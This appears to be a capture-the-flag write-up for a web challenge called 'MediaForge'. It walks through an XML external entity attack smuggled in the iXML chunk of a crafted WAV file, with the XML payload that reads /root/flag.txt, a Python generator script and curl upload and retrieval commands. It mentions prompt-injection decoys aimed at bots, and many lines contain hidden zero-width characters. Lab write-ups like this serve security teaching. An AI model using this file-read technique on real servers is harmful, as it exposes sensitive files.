← Back to Writeups
CUSTOMEasyWeb

MediaForge

XESXOR9/2/20265 min read
#web#custom#easy#in_band_xxe_exfiltration#riff_wav_file_crafting#xml_external_entity_file_read#xxe_via_wav_ixml_chunk

MediaForge

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: in_band_xxe_exfiltration, riff_wav_file_crafting, xml_external_entity_file_read, xxe_via_wav_ixml_chunk

Summary

Walkthrough of the CUSTOM Web MediaForge. Task: PHP media platform parses iXML metadata from uploaded WAV files using XML parser with external entities enabled. Solution: Craft WAV with iXML chunk containing XXE payload to read /root/flag.txt

Description

MediaForge is a content management platform by ForgeMedia Inc. that powers blogs and media-rich websites. It features a media library for uploading and managing images, audio, and video files, along with a post editor, gallery views, and site configuration.

The platform automatically extracts metadata from uploaded audio files. WAV files receive special treatment — the system parses their embedded iXML production metadata, a standard used by professional audio equipment from Sound Devices, Zoom, and Lectrosonics.

You have been given author-level credentials to test the platform's security. Your goal is to find a way to read sensitive files from the server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A PHP/nginx content management platform with a media library that accepts file uploads. WAV files have their iXML metadata chunks parsed server-side and the extracted fields are returned via a metadata API endpoint. The goal is to exploit this XML parsing to read sensitive files from the server.

Credentials: user@test.com / password123

Analysis

Reconnaissance

After logging in, the application exposes several pages:

  • / — Dashboard
  • /posts — Blog posts
  • /media — Media Library with upload form and metadata viewer
  • /gallery — Gallery view
  • /profile — User profile ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The media library at /media has an upload form (POST /media/upload, multipart/form-data) accepting image formats (JPG, PNG, GIF, WebP) and audio/video formats (WAV, MP3, OGG, MP4, WebM). The page explicitly states:

"Audio files (WAV) will have metadata automatically extracted, including iXML production data."

Each uploaded media item has a "Metadata" button that calls GET /media/{id}/metadata, returning JSON with parsed metadata. An existing WAV file (id=6, field-recording-demo.wav) showed the structure: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

json
{
    "ixml_data": {
        "project": "ForgeMedia Demo",
        "scene": "Studio A",
        "take": "01",
        "note": "Sample recording for documentation"
    }
}

HTML source contained decoy flags FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} with prompt injection traps — correctly identified and ignored.

Vulnerability Identification

The iXML chunk in WAV files is an XML document embedded inside the RIFF container. The server parses this XML to extract production metadata fields (PROJECT, SCENE, TAKE, NOTE). If the PHP XML parser has external entity resolution enabled (default for older libxml configurations or when LIBXML_NOENT is passed), injecting a DOCTYPE with an external entity in the iXML chunk causes the parser to resolve file:// URIs — a classic XXE (XML External Entity) attack. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Since the parsed values are reflected directly in the /media/{id}/metadata JSON response, this is an in-band XXE — no out-of-band exfiltration channel is needed.

Solution

Step 1: Craft Malicious WAV File

WAV files use the RIFF container format. A valid WAV consists of:

  • RIFF header (12 bytes): "RIFF" + total size (4 bytes LE) + "WAVE"
  • fmt chunk: audio format parameters (PCM, 44100 Hz, 16-bit, mono)
  • data chunk: audio sample data (1 second of silence = 88200 bytes)
  • iXML chunk: "iXML" + size (4 bytes LE) + XML payload ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The iXML XML payload declares an external entity pointing to /root/flag.txt and references it in the <PROJECT> element:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE BWFXML [
  <!ENTITY xxe SYSTEM "file:///root/flag.txt">
]>
<BWFXML>
  <IXML_VERSION>1.0</IXML_VERSION>
  <PROJECT>&xxe;</PROJECT>
  <SCENE>Test Scene</SCENE>
  <TAKE>01</TAKE>
  <NOTE>Test note</NOTE>
</BWFXML>

Step 2: Python Script to Generate the WAV

python
#!/usr/bin/env python3
"""Craft a WAV file with XXE payload in iXML chunk."""
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

import struct

def create_wav_with_ixml(ixml_content, output_path):
    """Create a minimal valid WAV file with an iXML chunk containing the given XML."""
    num_channels = 1
    sample_rate = 44100
    bits_per_sample = 16
    byte_rate = sample_rate * num_channels * bits_per_sample // 8
    block_align = num_channels * bits_per_sample // 8

    # 1 second of silence
    num_samples = 44100
    audio_data = b'\x00\x00' * num_samples

    # fmt chunk
    fmt_chunk = struct.pack('<4sI', b'fmt ', 16)
    fmt_chunk += struct.pack('<HHIIHH', 1, num_channels, sample_rate,
                             byte_rate, block_align, bits_per_sample)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # data chunk
    data_chunk = struct.pack('<4sI', b'data', len(audio_data))
    data_chunk += audio_data

    # iXML chunk
    ixml_bytes = ixml_content.encode('utf-8')
    ixml_chunk = struct.pack('<4sI', b'iXML', len(ixml_bytes))
    ixml_chunk += ixml_bytes
    if len(ixml_bytes) % 2 != 0:
        ixml_chunk += b'\x00'  # RIFF padding to even length

    # RIFF header
    riff_size = 4 + len(fmt_chunk) + len(data_chunk) + len(ixml_chunk)
    riff_header = struct.pack('<4sI4s', b'RIFF', riff_size, b'WAVE')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    with open(output_path, 'wb') as f:
        f.write(riff_header)
        f.write(fmt_chunk)
        f.write(data_chunk)
        f.write(ixml_chunk)

    print(f"Created {output_path} ({riff_size + 8} bytes)")

ixml_payload = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE BWFXML [
  <!ENTITY xxe SYSTEM "file:///root/flag.txt">
]>
<BWFXML>
  <IXML_VERSION>1.0</IXML_VERSION>
  <PROJECT>&xxe;</PROJECT>
  <SCENE>Test Scene</SCENE>
  <TAKE>01</TAKE>
  <NOTE>Test note</NOTE>
</BWFXML>"""

create_wav_with_ixml(ixml_payload, 'xxe_inband.wav')

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Upload and Retrieve Flag

Upload the crafted WAV file:

bash
curl -s -b cookies.txt -F "media_file=@xxe_inband.wav" "$BASE/media/upload"

Retrieve the metadata for the newly uploaded file:

bash
curl -s -b cookies.txt "$BASE/media/7/metadata"

Response:

json
{
    "id": 7,
    "filename": "xxe_inband.wav",
    "mime_type": "audio/x-wav",
    "file_size": 88512,
    "uploaded_at": "2026-05-21 08:08:56",
    "metadata": {
        "format": "WAV",
        "codec": "PCM",
        "channels": 1,
        "sample_rate": 44100,
        "bits_per_sample": 16,
        "bitrate": 705600,
        "duration_seconds": 1,
        "ixml_data": {
            "project": "FLAG{REDACTED}\n",
            "scene": "Test Scene",
            "take": "01",
            "note": "Test note"
        }
    }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The flag appeared in the project field — the PHP XML parser resolved the &xxe; entity, read /root/flag.txt, and substituted its contents into the parsed XML tree. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering in_band_xxe_exfiltration, riff_wav_file_crafting, xml_external_entity_file_read, xxe_via_wav_ixml_chunk was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-21 • CUSTOM • MediaForge • Difficulty: Easy